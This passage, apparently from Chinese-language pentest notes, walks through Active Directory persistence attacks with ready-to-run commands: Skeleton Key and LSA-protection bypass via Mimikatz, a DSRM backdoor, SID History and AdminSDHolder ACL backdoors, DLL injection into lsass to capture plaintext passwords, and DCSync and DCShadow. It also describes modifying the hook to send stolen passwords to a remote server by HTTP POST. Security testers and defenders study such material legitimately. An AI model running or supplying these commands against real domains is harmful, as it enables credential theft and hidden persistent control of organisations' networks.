mimikatz.exe "privilege::debug" "misc::seleton" exit

image-20240417190149716

执行后,,将为所有的域账户设置一个相同的密码”mimikatz”,从而可以登录域控。

缓解措施

微软在2014年3月添加了LSA(Local Security Authority,本地安全机构)保护策略用来防止对lsass.exe 进程的内存读取和代码注入。通过执行以下命令,可以开启或关闭LSA 保护。

# 开启LSA保护策略
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 1 /f
# 关闭LSA保护策略
reg delete "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL

重启系统后,Mimikatz的相关操作都会失败。此时即使已经获取了Debug权限也无法读取用户哈希值,更无法安装SkeletonKey.

image-20240417195040956

不过,Mimikatz在2013年就已经支持绕过LSA保护,该功能需要Mimikatz项目中的mimidrv.sys驱动文件,Skeleton Key的安装命令就变成如下:

mimikatz # privilege::debug
mimikatz # !+
mimikatz # !processprotect /process:lsass.exe /remove
mimikatz # misc::skeleton

创建DSRM域后门

DSRM(Directory Services Restore Mode,目录服务还原模式)是域控制器的安全模式启动选项,用于使服务器脱机,以进行紧急维护。在初期安装 Windows 域服务时,安装向导会提示用户设置 DSRM 的管理员密码。有了该密码后,网络管理员可以在后期域控发生问题时修复、还原或重建活动目录数据库。

在域控上DSRM账户实际上就是本地管理员账户。通过在域控上运行NTDSUtil(是一个自带的用于管理和维护活动目录的工具),可以为DSRM账户修改密码,步骤如下:

# 进入ntdsutil
ntdsutil
# 进入设置DSRM账户密码设置模式
set dsrm password
# 在当前域控上恢复DSRM密码
reset password on server null
# 输入新密码
<password>
# 退出DSRM密码设置模式
q
# 退出ntdsutil
q

测试人员可以通过修改 DSRM 账户的密码,以维持对域控制器权限。该技术适用于Windows Server 2008 及以后版本的服务器,并需要拥有域管理员级别的权限。

下面是Mimikatz的利用过程

  1. 读取SAM文件获取DSRM账户的哈希值

    mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" exit
  2. 修改DSRM的登陆模式,允许该账户的远程登陆。可以通过编辑注册表的 DsrmAdminLogonBehavior 键值来实现,可选用的登录模式有以下3种。

    0:默认值,只有当域控制器重启并进入 DSRM 模式时,才可以使用 DSRM 管理员账号。

    1:只有当本地 AD、DS 服务停止时,才可以使用 DSRM 管理员账号登录域控制器。

    2:在任何情况下,都可以使用 DSRM 管理员账号登录域控制器。

    所以我们就要修改登陆模式为2:

    reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v DsrmAdminLogonBehavior /t REG_DWORD /d 2 /f
  3. 然后就可以通过DSRM账号对域控进行控制了。我们可以根据上面获得的哈希对域控执行哈希传递攻击获取域控权限

    image-20240418230425352

SID History的利用

SID & SID History

在 Windows 系统中,SID(Security Identifiers)是指安全标识符,是用户、用户组或其他安全主体的唯一、不可变标识符。

Windows 根据 ACL(访问控制列表)授予或拒绝对资源的访问和特权,ACL 使用SID 来唯一标识用户及其组成员身份。当用户登录到计算机时,会生成一个访问令牌其中包含用户和组 SID和用户权限级别。当用户请求访问资源时,将根据 ACL 检查访问令牌以允许或拒绝对特定对象的特定操作。

SID History 是一个支持域迁移方案的属性,使得一个账户的访问权限可以有效地克隆到另一个账户,这在域迁移过程中非常有用。例如,当Domain A 中的用户迁移到Domain B 时,会在 Domain B中创建一个新的用户账户,并将Domain A用户的 SID 添加到 DomainB 的用户账户的 SID History属性中。这就确保了 DomainB用户仍然拥有访问 DomainA 中资源的权限。

利用方法

测试人员可以将域管理员用户的SID添加到其他域用户的SID History属性中,以此建立一个隐蔽的域后门,该方法需要拥有域管理员级别的权限。

以创建用户Hacker为例:

  1. 上传mimikatz执行以下命令将域管理员的SID添加到Hacker用户的SID History属性中

    # Mimikatz > 2.1.0
    mimikatz.exe "privilege::debug" "sid::patch" "sid::add /sam::Hacker /new:Administrator" exit
    # Mimikatz < 2.1.0
    mimikatz.exe "privilege::debug" "misc:addsid Hacker ADSAdministrator" exit

    image-20240418231321732

  2. PowerShell查看Hacker用户的属性:

    Import-Module ActiveDirectory
    Get-ADUser Hacker -Properties SIDHistory

    image-20240418231512445

    可以发现Hacker用户已经继承了权限

  3. 然后就可以通过Hacker用户成功连接到域控制器,执行whoami /priv可以看到拥有域管理员的所有特权

利用AdminSDHolder打造域后门

AdminSDHolder

AdminSDHolder 是一个特殊的 Active Directory 容器对象,位于 Domain CN 的 System容器下。AdminSDHolder 通常作为系统中某些受保护对象的安全模板,以防止这些对象遭受恶意修改或滥用。

image-20240418231838646

受保护对象通常包括系统的特权用户和重要的组,如 Administrator、Domain Admins、Enterprise Admins 以及Schema Admins 等。

在活动目录中,属性 adminCount用来标记特权用户和组。对于特权用户和组来说,该属性值被设为 1。通过 AdFind 查询 adminCount 属性设置为1的对象,可以找到所有受 AdminSDHolder 保护的特权用户和组

# 枚举受保护的用户
Adfind.exe -b "dc=hacke,dc=testlab" -f "&(objectcategory=person)(amaccountname=*)(admincount=1)" -dn
# 枚举受保护的组
Adfind.exe -b "dc=hacke,dc=testlab" -f "&(objectcategory=group)(admincount=1)" -dn

image-20240419000448192

在默认情况下,系统将定期(每 60分钟)检查受保护对象的安全描述符,将受保护对象的 ACL 与 AdminSDHolder 容器的 ACL 进行比较,如果二者不一致,系统就会将受保护对象的 ACL 强制修改为 AdminSDHolder 容器的 ACL。该工作通过 SDProp 进程来完成,该进程以 60分钟为一个工作周期。

利用方法

在实战中,测试人员可以篡改 AdminSDHolder 容器的 ACL 配置。当系统调用 SDProp进程执行相关工作时,被篡改的 ACL 配置将同步到受保护对象的 ACL 中,以此建立一个隐蔽的域后门。利用该技术需要拥有域管理员级别的权限

执行以下命令,通过 PowerView 向 AdminSDHolder 容器对象添加一个 ACL,使普通域用户 Marcus 拥有对 AdminSDHolder 的“完全控制”权限,项目地址:https://github.com/PowerShellMafia/PowerSploit

Import-Module .\PowerView.ps1
Add-DomainObjectAcl -TargetSearchBase "LDAP://CN=AdminSDHolder,CN=System,Dc=hack-my
DC=com" -PrincipalIdentity Marcus -Rights All -Verbose

执行后,Marcus用户成功拥有AdminSDHolder容器对象的完全控制权限。

image-20240419001254688

等待 60分钟后,Marcus 用户将获得对系统中的特权用户和组完全控制权限。

image-20240419001334730

要清除对AdminSDHolder的完全控制权限,执行下面命令:

Remove-DomainObjectAcl -TargetSearchBase "LDAP://CN=AdminSDHolder,CN=System,DC=hack-my
DC=com" -PrincipalIdentity Marcus Rights All -Verbose

HOOk PasswordChangeNotify

PasswordChangeNotify 在微软官方文档中的名称为PsamPasswordNotificationRoutine,是一个 WindowS API。当用户重置密码时,Windows会先检查新密码是否符合复杂性要求,如果密码符合要求,LSA 会调用PasswordChangeNotify函数在系统中同步密码。该函数的语法大致如下:

image-20240419002150589

当调用 PasswordChangeNotify 时,用户名和密码将以明文的形式传入。测试人员可以通过 HOOK 技术,劫持PasswordChangeNotify 函数的执行流程,从而获取传入的明文密码。

其流程大致如下,需要的工具有:HookPasswordChange.dll(项目地址:https://github.com/clymb3r/Misc-Windows-Hacking)和Invoke-ReflectivePEInjection.ps1(位于PowerSploit项目的CodeExecution目录下)

  1. 将HookPasswordChange.dll和Invoke-ReflectivePEInjection.ps1上传到域控,并将HookPasswordChange.dl注入到lsass.exe进程

    # 导入Invoke-ReflectivePEInjection.ps1
    Import-Module .\Invoke-ReflectivePEInjection.ps1
    # 读取HookPasswordChange.dll并将其注入到lsass进程
    $PEBytes = [IO.File]::ReadAllBytes('C:\Users\Administrator\HookPasswordChange.dll')
    Invoke-ReflectivePEInjection -PEBytes $PEBytes -ProcName lsass
  2. 当网络管理员修改用户密码时,用户的新密码将记录在C:\Windows\Temp 目录的passwords.txt 文件中

    password.txt保存的目录还可以自定义,需要在HookPasswordChange.cpp文件中修改

为了将获取的用户密码传回远程服务器,在源码的基础上可以通过WinNet API添加HTTP请求功能,代码大致如下:

image-20240419004013067

原本github上面有项目但是不见了,到时候有机会再自己改(

修改后重新编译生成HookPasswordChange.dll,当管理员修改密码时就可以通过post方法将密码带到远程服务器

image-20240419004224553

DCSync攻击技术

一个域环境可以拥有多台域控制器,每台域控制器各自存储着一份所在域的活动目录的可写副本,对目录的任何修改都可以从源域控制器同步到本域、域树或域林中的其他域控制器上。当一个域控想从另一个域控获取域数据更新时,客户端域控会向服务端域控发送 DSGetNCChanges 请求,该请求的响应将包含客户端域控必须应用到其活动目录副本的一组更新。通常情况下,域控制器之间每 15 分钟就会有一次域数据同步。

DCSync 技术就是利用域控制器同步的原理,通过Directory Replication Service(DRS服务的 IDL_DRSGetNCChanges 接口向域控发起数据同步请求。在 DCSync 出现前,要获得所有域用户的哈希,测试人员可能需要登录域控制器或通过卷影拷贝技术获取NTDS.dit 文件。利用 DCSync,测试人员可以在域内任何一台机器上模拟一个域控制器通过域数据同步复制的方式获取正在运行的合法域控制器上的数据。注意,DCSync攻击不适用于只读域控制器(RODC)

在默认情况下,只有Administrators、Domain Controllers 和Enterprise Domain Admins组内的用户和域控制器的机器账户才有执行DCSync操作的权限。

利用DCSync导出域内哈希

Mimikatz下的利用

执行下面命令导出域内用户信息

# 导出域内指定用户的信息,包括哈希值
mimkatz.exe "lsadump::dcsync /domain:hack-my.com /user:hacky-my\administrator" exit
# 导出域内所有用户的信息,包括哈希值
mimikatz.exe "lsadump::dcsync /domain:hack-my.com /all" exit
mimikatz.exe "lsadump::dcsync /domain:hack-my.com /all /csv" exit

image-20240419005028742

一般来说,域管理员权限的用户以及 Krbtgt 用户的哈希是有价值的。通过域管理员的哈希进行哈希传递可以直接获取服务器控制权,而Krbtgt用户的哈希可以用来制作黄金票据,实现票据传递攻击。

Impacket下的利用

Impacket项目中的secretsdump.py脚本支持通过 DCSync 技术导出域控制器中用户哈希。该工具可以使用提供的高权限用户的登录凭据,从未加入域的系统上远程连接至域控制器,并从注册表中导出本地账户的哈希值,同时通过 Dcsync 或卷影复制的方法NTDS.dit 文件中导出所有域用户的哈希值。

python secretsdump.py hack-my.com/administrator:Admin\@123@10.10.10.11 -just-dc-user "hack-my\administrator"
# 10.10.10.11为域控的IP

利用DCSync维持域内权限

在获取域管理员权限后,测试人员可以手动为域内标准用户赋予 DCSync 操作的权限,从而实现隐蔽的域后门。只需为普通域用户添加表所示的两条扩展权限即可。

CN displayName rightsGuid
DS-Replication-Get-Changes Replicating Directory Changes 1131f6aa-9c07-11d1-f79f-00c04fc2ded2
DS-Replication-Get-Changes Replicating Directory Changes All 1131f6ad-9c07-11d1-f79f-00c04fc2ded2

可以通过PowerShell渗透框架下的PowerView.ps1脚本实现。执行以下命令:

Import-Module .\PowerView.ps1
# 为域用户Marcus添加DCSync权限
Add-DomainObjectAcl -TargetIdentity "DC=hack-my,DC=com" -PrincipalIdentity Marcus
-Rights DCSync -Verbose

如果要清除权限则执行下面命令:

Remove-DomainObjectAcl -TargetIdentity "DC=hack-my,DC=com" -PrincipalIdentity Marcus
-Rights DCSync -Verbose

DCShadow

DCShadow 通过创建恶意的域控制器,利用域控之间的数据同步复制,将预先设定的对象或对象属性注入正在运行的合法域控制器,以此来创建域后门或者获取各种类型的非法访问渠道。

相关原理参考文章:https://shu1l.github.io/2020/08/05/dcsync-yu-dcshadow-gong-ji-xue-xi/

下面通过 DCShadow修改普通域用户Marcus的primaryGroupID属性演示 DCShadow的攻击过程。该属性指向用户所属的主要组的RID,通过将用户的 primaryGroupID 改为 512,可以让用户成为域管理员。RID 指相对标识符,是 SID 的组成部分,位于 SID 字符串的末端。Windows系统使用RID来区分用户账户和组,常见系统账户的 RID 如表:

RID
Administrator 500
Guest 501
Kribtgt 502
Domain Admins 512
Domain Users 513
Domain Guests 514
Domain Computers 515
Domain Controllers 516
Schema Admins 518
Enterprise Admins 519

攻击流程如下:

  1. 上传Mimikatz到主机,在拥有SYSTEM权限下执行下面命令来创建恶意域控

    mimikatz.exe "lsadump::dcshadow /object:CN=Marcus,CN=Users,DC=hack-my,DC=com /attribute:primaryGroupID /value:512" exit
  2. 执行后第一个命令行窗口不关闭,新开一个域管理员权限的命令行窗口,然后执行下面命令强制触发域复制,将数据更改推送至合法域控

    mimikatz.exe "lsadump::dcshadow /push" exit

此时,Marcus用户的primaryGroupID属性已成功被修改为512,并且Marcus 已经是域管理员组中的用户了。

可以用该命令来查看域管理员组用户来验证:

net group  "Domain Admins" /domain

DCShadow 使得测试人员可以直接修改活动目录数据库中的对象。在域防护比较严格的情况下,可以通过 DCShadow操纵 SID History、Krbtgt 账户的密码,或将用户添加到特权组,以实现域权限持久化。